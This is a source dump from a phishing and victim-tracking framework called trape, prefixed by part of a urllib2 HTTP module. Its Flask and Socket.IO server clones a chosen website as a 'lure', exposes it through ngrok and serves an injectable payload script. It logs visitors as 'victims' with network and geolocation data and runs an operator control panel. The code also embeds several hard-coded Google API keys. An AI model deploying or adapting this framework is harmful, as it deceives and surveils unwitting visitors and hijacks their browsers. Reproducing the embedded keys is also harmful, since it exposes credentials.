def retry_http_digest_auth(self, req, auth):
token, challenge = auth.split(' ', 1)
chal = parse_keqv_list(parse_http_list(challenge))
auth = self.get_authorization(req, chal)
if auth:
auth_val = 'Digest %s' % auth
if req.headers.get(self.auth_header, None) == auth_val:
return None
req.add_unredirected_header(self.auth_header, auth_val)
resp = self.parent.open(req, timeout=req.timeout)
return resp
def get_cnonce(self, nonce):
# The cnonce-value is an opaque
# quoted string value provided by the client and used by both client
# and server to avoid chosen plaintext attacks, to provide mutual
# authentication, and to provide some message integrity protection.
# This isn't a fabulous effort, but it's probably Good Enough.
dig = hashlib.sha1("%s:%s:%s:%s" % (self.nonce_count, nonce, time.ctime(),
randombytes(8))).hexdigest()
return dig[:16]
def get_authorization(self, req, chal):
try:
realm = chal['realm']
nonce = chal['nonce']
qop = chal.get('qop')
algorithm = chal.get('algorithm', 'MD5')
# mod_digest doesn't send an opaque, even though it isn't
# supposed to be optional
opaque = chal.get('opaque', None)
except KeyError:
return None
H, KD = self.get_algorithm_impls(algorithm)
if H is None:
return None
user, pw = self.passwd.find_user_password(realm, req.get_full_url())
if user is None:
return None
# XXX not implemented yet
if req.has_data():
entdig = self.get_entity_digest(req.get_data(), chal)
else:
entdig = None
A1 = "%s:%s:%s" % (user, realm, pw)
A2 = "%s:%s" % (req.get_method(),
# XXX selector: what about proxies and full urls
req.get_selector())
if qop == 'auth':
if nonce == self.last_nonce:
self.nonce_count += 1
else:
self.nonce_count = 1
self.last_nonce = nonce
ncvalue = '%08x' % self.nonce_count
cnonce = self.get_cnonce(nonce)
noncebit = "%s:%s:%s:%s:%s" % (nonce, ncvalue, cnonce, qop, H(A2))
respdig = KD(H(A1), noncebit)
elif qop is None:
respdig = KD(H(A1), "%s:%s" % (nonce, H(A2)))
else:
# XXX handle auth-int.
raise URLError("qop '%s' is not supported." % qop)
# XXX should the partial digests be encoded too?
base = 'username="%s", realm="%s", nonce="%s", uri="%s", ' \
'response="%s"' % (user, realm, nonce, req.get_selector(),
respdig)
if opaque:
base += ', opaque="%s"' % opaque
if entdig:
base += ', digest="%s"' % entdig
base += ', algorithm="%s"' % algorithm
if qop:
base += ', qop=auth, nc=%s, cnonce="%s"' % (ncvalue, cnonce)
return base
def get_algorithm_impls(self, algorithm):
# algorithm should be case-insensitive according to RFC2617
algorithm = algorithm.upper()
# lambdas assume digest modules are imported at the top level
if algorithm == 'MD5':
def H(x): return hashlib.md5(x).hexdigest()
elif algorithm == 'SHA':
def H(x): return hashlib.sha1(x).hexdigest()
# XXX MD5-sess
def KD(s, d): return H("%s:%s" % (s, d))
return H, KD
def get_entity_digest(self, data, chal):
# XXX not implemented yet
return None
class HTTPDigestAuthHandler(BaseHandler, AbstractDigestAuthHandler):
"""An authentication protocol defined by RFC 2069
Digest authentication improves on basic authentication because it
does not transmit passwords in the clear.
"""
auth_header = 'Authorization'
handler_order = 490 # before Basic auth
def http_error_401(self, req, fp, code, msg, headers):
host = urllib.parse.urlparse(req.get_full_url())[1]
retry = self.http_error_auth_reqed('www-authenticate',
host, req, headers)
self.reset_retry_count()
return retry
class ProxyDigestAuthHandler(BaseHandler, AbstractDigestAuthHandler):
auth_header = 'Proxy-Authorization'
handler_order = 490 # before Basic auth
def http_error_407(self, req, fp, code, msg, headers):
host = req.get_host()
retry = self.http_error_auth_reqed('proxy-authenticate',
host, req, headers)
self.reset_retry_count()
return retry
class AbstractHTTPHandler(BaseHandler):
def __init__(self, debuglevel=0):
self._debuglevel = debuglevel
def set_http_debuglevel(self, level):
self._debuglevel = level
def do_request_(self, request):
host = request.get_host()
if not host:
raise URLError('no host given')
if request.has_data(): # POST
data = request.get_data()
if not request.has_header('Content-type'):
request.add_unredirected_header(
'Content-type',
'application/x-www-form-urlencoded')
if not request.has_header('Content-length'):
request.add_unredirected_header(
'Content-length', '%d' % len(data))
sel_host = host
if request.has_proxy():
scheme, sel = splittype(request.get_selector())
sel_host, sel_path = splithost(sel)
if not request.has_header('Host'):
request.add_unredirected_header('Host', sel_host)
for name, value in self.parent.addheaders:
name = name.capitalize()
if not request.has_header(name):
request.add_unredirected_header(name, value)
return request
def do_open(self, http_class, req):
"""Return an addinfourl object for the request, using http_class.
http_class must implement the HTTPConnection API from httplib.
The addinfourl return value is a file-like object. It also
has methods and attributes including:
- info(): return a mimetools.Message object for the headers
- geturl(): return the original request URL
- code: HTTP status code
"""
host = req.get_host()
if not host:
raise URLError('no host given')
h = http_class(host, timeout=req.timeout) # will parse host:port
h.set_debuglevel(self._debuglevel)
headers = dict(req.unredirected_hdrs)
headers.update(dict((k, v) for k, v in list(req.headers.items())
if k not in headers))
# We want to make an HTTP/1.1 request, but the addinfourl
# class isn't prepared to deal with a persistent connection.
# It will try to read all remaining data from the socket,
# which will block while the server waits for the next request.
# So make sure the connection gets closed after the (only)
# request.
headers["Connection"] = "close"
headers = dict(
(name.title(), val) for name, val in list(headers.items()))
if req._tunnel_host:
tunnel_headers = {}
proxy_auth_hdr = "Proxy-Authorization"
if proxy_auth_hdr in headers:
tunnel_headers[proxy_auth_hdr] = headers[proxy_auth_hdr]
# Proxy-Authorization should not be sent to origin
# server.
del headers[proxy_auth_hdr]
h.set_tunnel(req._tunnel_host, headers=tunnel_headers)
try:
h.request(req.get_method(), req.get_selector(), req.data, headers)
except socket.error as err: # XXX what error?
h.close()
raise URLError(err)
else:
try:
r = h.getresponse(buffering=True)
except TypeError: # buffering kw not supported
r = h.getresponse()
# Pick apart the HTTPResponse object to get the addinfourl
# object initialized properly.
# Wrap the HTTPResponse object in socket's file object adapter
# for Windows. That adapter calls recv(), so delegate recv()
# to read(). This weird wrapping allows the returned object to
# have readline() and readlines() methods.
# XXX It might be better to extract the read buffering code
# out of socket._fileobject() and into a base class.
r.recv = r.read
fp = socket._fileobject(r, close=True)
resp = addinfourl(fp, r.msg, req.get_full_url())
resp.code = r.status
resp.msg = r.reason
return resp
class HTTPHandler(AbstractHTTPHandler):
def http_open(self, req):
return self.do_open(http.client.HTTPConnection, req)
http_request = AbstractHTTPHandler.do_request_
if hasattr(httplib, 'HTTPS'):
class HTTPSHandler(AbstractHTTPHandler):
def https_open(self, req):
return self.do_open(http.client.HTTPSConnection, req)
https_request = AbstractHTTPHandler.do_request_
class HTTPCookieProcessor(BaseHandler):
def __init__(self, cookiejar=None):
import http.cookiejar
if cookiejar is None:
cookiejar = http.cookiejar.CookieJar()
self.cookiejar = cookiejar
def http_request(self, request):
self.cookiejar.add_cookie_header(request)
return request
def http_response(self, request, response):
self.cookiejar.extract_cookies(response, request)
return response
https_request = http_request
https_response = http_response
class UnknownHandler(BaseHandler):
def unknown_open(self, req):
type = req.get_type()
raise URLError('unknown url type: %s' % type)
def parse_keqv_list(l):
"""Parse list of key=value strings where keys are not duplicated."""
parsed = {}
for elt in l:
k, v = elt.split('=', 1)
if v[0] == '"' and v[-1] == '"':
v = v[1:-1]
parsed[k] = v
return parsed
def parse_http_list(s):
"""Parse lists as described by RFC 2068 Section 2.
In particular, parse comma-separated lists where the elements of
the list may include quoted-strings. A quoted-string could
contain a comma. A non-quoted string could have quotes in the
middle. Neither commas nor quotes count if they are escaped.
Only double-quotes count, not single-quotes.
"""
res = []
part = ''
escape = quote = False
for cur in s:
if escape:
part += cur
escape = False
continue
if quote:
if cur == '\\':
escape = True
continue
elif cur == '"':
quote = False
part += cur
continue
if cur == ',':
res.append(part)
part = ''
continue
if cur == '"':
quote = True
part += cur
# append last part
if part:
res.append(part)
return [part.strip() for part in res]
def _safe_gethostbyname(host):
try:
return socket.gethostbyname(host)
except socket.gaierror:
return None
class FileHandler(BaseHandler):
# Use local file or FTP depending on form of URL
def file_open(self, req):
url = req.get_selector()
if url[:2] == '//' and url[2:3] != '/' and (req.host and
req.host != 'localhost'):
req.type = 'ftp'
return self.parent.open(req)
else:
return self.open_local_file(req)
# names for the localhost
names = None
def get_names(self):
if FileHandler.names is None:
try:
FileHandler.names = tuple(
socket.gethostbyname_ex('localhost')[2] +
socket.gethostbyname_ex(socket.gethostname())[2])
except socket.gaierror:
FileHandler.names = (socket.gethostbyname('localhost'),)
return FileHandler.names
# not entirely sure what the rules are here
def open_local_file(self, req):
import email.utils
import mimetypes
host = req.get_host()
filename = req.get_selector()
localfile = url2pathname(filename)
try:
stats = os.stat(localfile)
size = stats.st_size
modified = email.utils.formatdate(stats.st_mtime, usegmt=True)
mtype = mimetypes.guess_type(filename)[0]
headers = mimetools.Message(StringIO(
'Content-type: %s\nContent-length: %d\nLast-modified: %s\n' %
(mtype or 'text/plain', size, modified)))
if host:
host, port = splitport(host)
if not host or \
(not port and _safe_gethostbyname(host) in self.get_names()):
if host:
origurl = 'file://' + host + filename
else:
origurl = 'file://' + filename
return addinfourl(open(localfile, 'rb'), headers, origurl)
except OSError as msg:
# urllib2 users shouldn't expect OSErrors coming from urlopen()
raise URLError(msg)
raise URLError('file not on local host')
class FTPHandler(BaseHandler):
def ftp_open(self, req):
import ftplib
import mimetypes
host = req.get_host()
if not host:
raise URLError('ftp error: no host given')
host, port = splitport(host)
if port is None:
port = ftplib.FTP_PORT
else:
port = int(port)
# username/password handling
user, host = splituser(host)
if user:
user, passwd = splitpasswd(user)
else:
passwd = None
host = unquote(host)
user = user or ''
passwd = passwd or ''
try:
host = socket.gethostbyname(host)
except socket.error as msg:
raise URLError(msg)
path, attrs = splitattr(req.get_selector())
dirs = path.split('/')
dirs = list(map(unquote, dirs))
dirs, file = dirs[:-1], dirs[-1]
if dirs and not dirs[0]:
dirs = dirs[1:]
try:
fw = self.connect_ftp(user, passwd, host, port, dirs, req.timeout)
type = file and 'I' or 'D'
for attr in attrs:
attr, value = splitvalue(attr)
if attr.lower() == 'type' and \
value in ('a', 'A', 'i', 'I', 'd', 'D'):
type = value.upper()
fp, retrlen = fw.retrfile(file, type)
headers = ""
mtype = mimetypes.guess_type(req.get_full_url())[0]
if mtype:
headers += "Content-type: %s\n" % mtype
if retrlen is not None and retrlen >= 0:
headers += "Content-length: %d\n" % retrlen
sf = StringIO(headers)
headers = mimetools.Message(sf)
return addinfourl(fp, headers, req.get_full_url())
except ftplib.all_errors as msg:
raise URLError('ftp error: %s' %
msg).with_traceback(sys.exc_info()[2])
def connect_ftp(self, user, passwd, host, port, dirs, timeout):
fw = ftpwrapper(user, passwd, host, port, dirs, timeout,
persistent=False)
fw.ftp.set_debuglevel(1)
return fw
class CacheFTPHandler(FTPHandler):
# XXX would be nice to have pluggable cache strategies
# XXX this stuff is definitely not thread safe
def __init__(self):
self.cache = {}
self.timeout = {}
self.soonest = 0
self.delay = 60
self.max_conns = 16
def setTimeout(self, t):
self.delay = t
def setMaxConns(self, m):
self.max_conns = m
def connect_ftp(self, user, passwd, host, port, dirs, timeout):
key = user, host, port, '/'.join(dirs), timeout
if key in self.cache:
self.timeout[key] = time.time() + self.delay
else:
self.cache[key] = ftpwrapper(
user, passwd, host, port, dirs, timeout)
self.timeout[key] = time.time() + self.delay
self.check_cache()
return self.cache[key]
def check_cache(self):
# first check for old ones
t = time.time()
if self.soonest <= t:
for k, v in list(self.timeout.items()):
if v < t:
self.cache[k].close()
del self.cache[k]
del self.timeout[k]
self.soonest = min(self.timeout.values())
# then check the size
if len(self.cache) == self.max_conns:
for k, v in list(self.timeout.items()):
if v == self.soonest:
del self.cache[k]
del self.timeout[k]
break
self.soonest = min(self.timeout.values())
def clear_cache(self):
for conn in list(self.cache.values()):
conn.close()
self.cache.clear()
self.timeout.clear()
================================================
FILE: core/sockets.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#**
#
#########
# trape #
#########
#
# trape depends of this file
# For full copyright information this visit: https://github.com/jofpin/trape
#
# Copyright 2018 by Jose Pino (@jofpin) / <jofpin@gmail.com>
#**
from socket import gethostname, gethostbyname
from threading import Lock
from flask import Flask, render_template, session, request, json
from flask_socketio import SocketIO, emit, join_room, rooms, disconnect
import core.stats
import core.user
from core.user_objects import attacks_hook_message
from core.utils import utils
from core.db import Database
import sys
# Main parts, to generate relationships among others
trape = core.stats.trape
app = core.stats.app
# call database
db = Database()
async_mode = None
socketio = SocketIO(app, async_mode=async_mode)
thread = None
thread_lock = Lock()
db.sentences_victim('clean_online', None, 2)
def background_thread():
count = 0
@socketio.on("join", namespace="/trape")
def join(message):
try:
join_room(message['room'])
session['receive_count'] = session.get('receive_count', 0) + 1
except Exception as error:
pass
@socketio.on("my_room_event", namespace="/trape")
def send_room_message(message):
try:
session['receive_count'] = session.get('receive_count', 0) + 1
hookAction = attacks_hook_message(message['data']['type'])
utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "@" + utils.Color['white'] + "]" + " " + hookAction + utils.Color['blue'] + message['data']['message'] + utils.Color['white'] + ' in ' + utils.Color['green'] + message['room'] + utils.Color['white'])
emit('my_response', {'data': message['data'], 'count': session['receive_count']},room = message['room'])
except Exception as error:
pass
@socketio.on("disconnect_request", namespace="/trape")
def disconnect_request(d):
try:
session['receive_count'] = session.get('receive_count', 0) + 1
emit('my_response', {'data': 'Disconnected!', 'count': session['receive_count']})
utils.Go(utils.Color['white'] + "[" + utils.Color['redBold'] + "-" + utils.Color['white'] + "]" + utils.Color['red'] + " " + "A victim has closed her connection with the following id:" + " " + utils.Color['green'] + d['vId'] + utils.Color['white'])
db.sentences_victim('disconnect_victim', d['vId'], 2)
except Exception as error:
pass
@socketio.on("error", namespace="/trape")
def socket_def_error(d):
pass
@socketio.on_error("/trape")
def error_handler(e):
pass
@app.route("/" + trape.home_path)
def home():
gMaps_free_api_key = 'AIzaSyBUPHAjZl3n8Eza66ka6B78iVyPteC5MgM'
if (trape.gmaps != ''):
gMaps_free_api_key = trape.gmaps
shorten_api = 'AIzaSyCPzcppCT27KTHnxAIQvYhtvB_l8sKGYBs'
html = trape.injectCSS_Paths(render_template("home.html", async_mode=socketio.async_mode).replace('[OWN_API_KEY_HERE]', gMaps_free_api_key).replace('[LIBS_SRC]', trape.JSFiles[1]['src']).replace('[TRAPE_SRC]', trape.JSFiles[4]['src']))
return html
if __name__ == 'core.sockets':
try:
socketio.run(app, host= '0.0.0.0', port=trape.app_port, debug=False)
except KeyboardInterrupt:
socketio.stop()
trape.validateLicense.terminate()
sys.exit(0)
================================================
FILE: core/stats.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#**
#
#########
# trape #
#########
#
# trape depends of this file
# For full copyright information this visit: https://github.com/jofpin/trape
#
# Copyright 2018 by Jose Pino (@jofpin) / <jofpin@gmail.com>
#**
from core.dependence import urllib2
import sys
import os
from flask import Flask, render_template, session, request, json, redirect, url_for, send_from_directory
from flask_cors import CORS
from trape import Trape
import urllib
from core.db import Database
# Main parts, to generate relationships among others
trape = Trape(1)
if getattr(sys, 'frozen', False):
template_folder = os.path.join(sys._MEIPASS, 'templates')
static_folder = os.path.join(sys._MEIPASS, 'static')
app = Flask(__name__, template_folder=template_folder, static_folder=static_folder)
else:
app = Flask(__name__, template_folder='../templates', static_folder='../static')
cors = CORS(app)
# call database
db = Database()
# preview header tool in console
trape.header()
#print db.firstTime
@app.route("/" + trape.stats_path)
def index():
return trape.injectCSS_Paths(render_template("/login.html").replace('[LOGIN_SRC]', trape.JSFiles[2]['src']).replace('[LIBS_SRC]', trape.JSFiles[1]['src']))
@app.route("/" + trape.logout_path)
def logout():
return trape.injectCSS_Paths(render_template("/login.html").replace('[LOGIN_SRC]', trape.JSFiles[2]['src']).replace('[LIBS_SRC]', trape.JSFiles[1]['src']))
@app.route("/login", methods=["POST"])
def login():
id = request.form['id']
if id == trape.stats_key:
return json.dumps({'status':'OK', 'path' : trape.home_path, 'victim_path' : trape.victim_path, 'url_to_clone' : trape.url_to_clone, 'app_port' : trape.app_port, 'date_start' : trape.date_start, 'user_ip' : trape.localIp, 'logout': trape.logout_path, 'rm_path' : trape.remove_path})
else:
return json.dumps({'status':'NOPE', 'path' : '/'})
@app.route("/get_data", methods=["POST"])
def home_get_dat():
db.sentences_victim('clean_usersnoping', None, 2)
d = db.sentences_stats('get_data')
n = db.sentences_stats('all_networks')
rows = db.sentences_stats('get_clicks')
c = rows[0][0]
rows = db.sentences_stats('get_sessions')
s = rows[0][0]
vId = ('online', )
rows = db.sentences_stats('get_online', vId)
o = rows[0][0]
injectCode = ''
if trape.nGrokUrl != '':
injectCode = str(trape.nGrokUrl) + '/' + str(trape.injectURL)
else:
injectCode = str(trape.localIp) + ':' + str(trape.app_port) + '/' + str(trape.injectURL)
return json.dumps({'status' : 'OK', 'd' : d, 'n' : n, 'c' : c, 's' : s, 'o' : o, "ic" : injectCode})
@app.route("/get_preview", methods=["POST"])
def home_get_preview():
vId = request.form['vId']
t = (vId,)
d = db.sentences_stats('get_preview', t)
n = db.sentences_stats('id_networks', t)
h = db.sentences_stats('get_hostsalive', t)
return json.dumps({'status' : 'OK', 'vId' : vId, 'd' : d, 'n' : n, 'h' : h})
@app.route("/get_title", methods=["POST"])
def home_get_title():
opener = urllib.request.build_opener()
html = opener.open(trape.url_to_clone).read()
html = html[html.find(b'<title>') + 7 : html.find(b'</title>')]
return json.dumps({'status' : 'OK', 'title' : html})
@app.route("/get_requests", methods=["POST"])
def home_get_requests():
d = db.sentences_stats('get_requests')
return json.dumps({'status' : 'OK', 'd' : d})
@app.route("/get_socialimpact", methods=["POST"])
def home_get_socialimpact():
d = db.sentences_stats('get_socialimpact')
return json.dumps({'status' : 'OK', 'd' : d})
@app.route("/" + trape.remove_path, methods=["POST"])
def home_rm_rows():
vId = request.form['vId']
db.sentences_victim('delete_victim', vId, 2)
db.sentences_victim('delete_geo', vId, 2)
db.sentences_victim('delete_networks', [vId], 2)
return json.dumps({'status' : 'OK', 'id' : vId})
@app.route("/pn", methods=["POST"])
def home_putName():
vId = request.form['vId']
name = request.form['n']
db.sentences_victim('update_name', [vId, name], 2)
return json.dumps({'status' : 'OK', 'id' : vId})
@app.route("/" + trape.injectURL)
def inject():
mPath = ''
if getattr(sys, 'frozen', False):
mPath = sys._MEIPASS + '/'
f_codeToInject = open(mPath + "static/js/inject.js","r")
codeToInject = f_codeToInject.read().replace('[LIBS_SRC]', trape.JSFiles[1]['src']).replace('[BASE_SRC]', trape.JSFiles[0]['src']).replace('[LURE_SRC]', trape.JSFiles[3]['src']).replace('[CUSTOM_SRC]', trape.JSFiles[6]['src'])
f_codeToInject.close()
server_code = ''
if trape.nGrokUrl != '':
server_code = str(trape.nGrokUrl)
else:
server_code = str(trape.localIp) + ':' + str(trape.app_port)
codeToInject = codeToInject.replace('[HOST_ADDRESS]', server_code)
codeToInject = codeToInject.replace('[YOUR_GMAPS_API_KEY]', trape.gmaps)
return codeToInject
@app.route("/static/js/<JSFile>")
def busted(JSFile):
code = ''
mPath = ''
if getattr(sys, 'frozen', False):
mPath = sys._MEIPASS + '/'
for obj in trape.JSFiles:
if str(obj['src']) == str(JSFile):
s_code = open(mPath + "static/js/" + obj['path'],"r")
code = s_code.read()
s_code.close()
break
if code != '':
return code
else:
return render_template('404.html')
@app.route("/styles/<CSSFile>")
def style_redirect(CSSFile):
code = ''
for obj in trape.CSSFiles:
if str(obj['src']) == str(CSSFile):
code = obj['path']
break
return redirect(code)
@app.route("/static/files/<File>")
def file_redirect(File):
uploads = os.path.join(os.getcwd(), './')
return send_from_directory(directory=uploads, filename=File)
================================================
FILE: core/trape.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#**
#
#########
# trape #
#########
#
# trape depends of this file
# For full copyright information this visit: https://github.com/jofpin/trape
#
# Copyright 2018 by Jose Pino (@jofpin) / <jofpin@gmail.com>
#**
import time
import json
import urllib
from core.dependence import urllib2
import http.client
import argparse
import socket
import sys
import os
from core.utils import utils
import subprocess
import requests
import hashlib, binascii
from threading import Timer
from multiprocessing import Process
import atexit
class Trape(object):
def __init__(self, stat = 0):
self.name_trape = "Trape"
self.version = "2.1"
self.stats_path = "ngrok"
self.home_path = utils.generateToken(18)
self.logout_path = utils.generateToken(6)
self.remove_path = utils.generateToken(14)
self.injectURL = utils.generateToken(12) + '.js'
self.stats_key = utils.generateToken(24)
self.date_start = time.strftime("%Y-%m-%d - %H:%M:%S")
self.stat = stat
self.localIp = '127.0.0.1'
self.nGrokUrl = ''
self.JSFiles = ({"path" : "base.js", "src" : utils.generateToken(12)},{"path" : "libs.min.js", "src" : utils.generateToken(12)},{"path" : "login.js", "src" : utils.generateToken(12)},{"path" : "payload.js", "src" : utils.generateToken(12)},{"path" : "trape.js", "src" : utils.generateToken(12)},{"path" : "vscript.js", "src" : utils.generateToken(12)},{"path" : "custom.js", "src" : utils.generateToken(12)},)
self.CSSFiles = ({"path" : "/static/img/favicon.ico", "src" : utils.generateToken(12)},{"path" : "/static/img/favicon.png", "src" : utils.generateToken(12)},{"path" : "/static/css/base-icons.css", "src" : utils.generateToken(12)},{"path" : "/static/css/styles.css", "src" : utils.generateToken(12)},{"path" : "/static/css/normalize.min.css", "src" : utils.generateToken(12)},{"path": "/static/css/services-icons.css", "src" : utils.generateToken(12)},)
if self.stat == 1:
c = http.client.HTTPConnection('www.google.com', timeout=5)
try:
c.request("HEAD", "/")
c.close()
except Exception as e:
c.close()
utils.Go("\033[H\033[J")
utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "NOTICE: " + utils.Color['white'] + "Trape needs Internet connection for working" + "\n\t")
sys.exit(0)
if (not(os.path.exists("trape.config"))):
self.trape_config()
try:
config_trape = json.load(open("trape.config"))
except Exception as error:
os.remove('trape.config')
self.trape_config()
self.ngrok = config_trape['ngrok_token']
self.gmaps = config_trape['gmaps_api_key']
self.ipinfo = config_trape['ipinfo_api_key']
if self.gmaps == '':
self.gmaps = 'AIzaSyA30wEa2DwUuddmNTHvoprhnrB2w_aCWbs'
self.googl = config_trape['gshortener_api_key']
if self.googl == '':
self.googl = 'AIzaSyDHMDTOGo9L1OBl5vRxOVM6vpXOXVp5jCc'
parser = argparse.ArgumentParser("python3 trape.py -u <<Url>> -p <<Port>>")
parser.add_argument('-u', '--url', dest='url', help='Put the web page url to clone')
parser.add_argument('-p', '--port', dest='port', help='Insert your port')
parser.add_argument('-ak', '--accesskey', dest='accesskey', help='Insert your custom key access')
parser.add_argument('-l', '--local', dest='local', help='Insert your home file')
parser.add_argument('-n', '--ngrok', dest='ngrok', help='Insert your ngrok Authtoken', action='store_true')
parser.add_argument('-ic', '--injectcode', dest='injc', help='Insert your custom REST API path')
parser.add_argument('-ud', '--update', dest='update', action='store_true', default=False, help='Update trape to the latest version')
options = parser.parse_args()
self.type_lure = 'global'
# Check current updates
if options.update:
utils.Go("\033[H\033[J")
utils.Go("Updating..." + " " + utils.Color['blue'] + "trape" + utils.Color['white'] + "..." + "\n")
subprocess.check_output(["git", "reset", "--hard", "origin/master"])
subprocess.check_output(["git", "pull"])
utils.Go("Trape Updated... Please execute again...")
sys.exit(0)
if options.url is None:
utils.Go("\033[H\033[J")
utils.Go("----------------------------------------------")
utils.Go("" + " " + utils.Color['redBold'] + "TRAPE" + utils.Color['white'] +" {" + utils.Color['yellowBold'] + "stable" + utils.Color['white'] + "}" + utils.Color['white'] + " - " + "Osint and analytics tool" + " " + "<" +utils.Color['white'])
utils.Go("----------------------------------------------")
utils.Go("| v" + utils.Color['redBold'] + self.version + utils.Color['white'] + " |")
utils.Go("--------" + "\n")
utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['greenBold'] + "!" + utils.Color['whiteBold'] + "]" + " " + utils.Color['white'] + "Enter the information requested below to complete the execution" + utils.Color['white'])
utils.Go("")
options.url = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter a URL to generate the lure" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white'])
if options.port is None:
options.port = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your port to generate the server?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white'])
while utils.checkPort(int(options.port)) == False:
utils.Go("\033[H\033[J")
utils.Go("----------------------------------------------")
utils.Go("" + " " + utils.Color['redBold'] + "TRAPE" + utils.Color['white'] +" {" + utils.Color['yellowBold'] + "stable" + utils.Color['white'] + "}" + utils.Color['white'] + " - " + "Osint and analytics tool" + " " + "<" +utils.Color['white'])
utils.Go("----------------------------------------------")
utils.Go("\n")
utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR:" + " " + utils.Color['whiteBold'] + "The port: " + options.port + utils.Color['white'] + " " + "is not available, It was previously used (" + utils.Color['yellow'] + "Use another port" + utils.Text['end'] + ")" + "\n\n")
options.port = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your port to generate the server?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white'])
#while utils.checkUrl(str(options.url)) == False:
options.url = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter a URL to generate the lure" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white'])
utils.Go("")
utils.Go(utils.Color['greenBold'] + "-" + utils.Color['white'] + " Successful " + utils.Color['greenBold'] + "startup" + utils.Color['white'] + ", get lucky on the way!" + utils.Color['white'])
utils.Go("")
time.sleep(0.1)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
self.localIp = s.getsockname()[0]
self.app_port = int(options.port)
self.url_to_clone = str(options.url)
if self.url_to_clone[0:4] != 'http':
self.url_to_clone = 'http://' + self.url_to_clone
self.victim_path = options.url.replace("http://", "").replace("https://", "")
if (options.ngrok or (self.ngrok != "")):
if self.ngrok == '':
utils.Go("\033[H\033[J")
self.ngrok = input("What is your nGrok token?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white'])
if (self.ngrok != ''):
from core.ngrok import ngrok
import os.path as path
v_ngrok = ngrok(self.ngrok, self.app_port, stat, self.stats_path)
else:
utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR: " + " " + utils.Color['white'] + "Your nGrok authtoken can't be empty")
# Custom name of REST API
if (options.injc):
self.injectURL = options.injc
# Custom access token
if (options.accesskey):
self.stats_key = options.accesskey
# Design principal of the header of trape
def header(self):
if self.stat == 1:
# Principal header of tool
utils.banner()
# Update verification
changeLog = requests.get("https://raw.githubusercontent.com/jofpin/trape/master/version.txt", timeout = 4)
changeLog = changeLog.text.split(" ")[1]
changeLog = changeLog.strip()
if changeLog != self.version:
utils.Go(utils.Color['white'] + "\t" + utils.Color['yellowBold'] + "@" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['whiteBold'] + " " + "UPDATES:" + " " + utils.Color['yellowBold'] + "NEW VERSION IS AVAILABLE: " + utils.Color['white'] + "v" + utils.Color['redBold'] + changeLog + utils.Color['white'] + " " + "(install changes)")
utils.Go("")
else:
utils.Go(utils.Color['white'] + "\t" + utils.Color['yellowBold'] + "@" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['whiteBold'] + " " + "UPDATES:" + " " + utils.Color['greenBold'] + "RUNNING RECENT VERSION" + utils.Color['white'])
utils.Go("")
# Local information vars
utils.Go(utils.Color['white'] + "\t" + utils.Color['whiteBold'] + "LOCAL INFORMATION" + utils.Text['end'])
utils.Go("\t" + "-------------------")
utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Lure for the users: " + utils.Color['blue'] + 'http://' + self.localIp + ':' + str(self.app_port) + '/' + self.victim_path)
utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Your REST API path: " + utils.Color['blue'] + 'http://' + self.localIp + ':' + str(self.app_port) + '/' + self.injectURL + utils.Color['white'])
utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Control Panel Link: " + utils.Color['blue'] + "http://127.0.0.1:" + utils.Color['blue'] + str(self.app_port) + '/' + self.stats_path)
utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Your Access key: " + utils.Color['blue'] + self.stats_key + utils.Color['white'])
utils.Go("")
if self.ngrok != '':
if self.googl == '':
self.googl = 'AIzaSyCPzcppCT27KTHnxAIQvYhtvB_l8sKGYBs'
try:
opener = urllib.request.build_opener()
pLog = 4040
ngrokStatus = str(opener.open('http://127.0.0.1:' + str(pLog) + '/api/tunnels').read()).replace('\n', '').replace(' ', '')
time.sleep(0.5)
ngrokUrlPos = ngrokStatus.find('ngrok.io')
if ngrokUrlPos <= 0:
time.sleep(4)
ngrokStatus = str(opener.open('http://127.0.0.1:' + str(pLog) + '/api/tunnels').read()).replace('\n', '').replace(' ', '')
ngrokUrlPos = ngrokStatus.find('ngrok.io')
if ngrokUrlPos >= 0:
ngrokStatus = ngrokStatus[ngrokUrlPos-25:ngrokUrlPos+28]
ngrokUrlPos = ngrokStatus.find('http')
ngrokUrlPos2 = ngrokStatus.find('.io')
ngrokStatus = ngrokStatus[ngrokUrlPos: ngrokUrlPos2] + '.io'
utils.Go(utils.Color['white'] + "\t" + utils.Color['whiteBold'] + "PUBLIC INFORMATION" + utils.Text['end'])
utils.Go("\t" + "-------------------")
r = utils.gShortener(self.googl, ngrokStatus.replace('https', 'http') + '/' + self.victim_path)
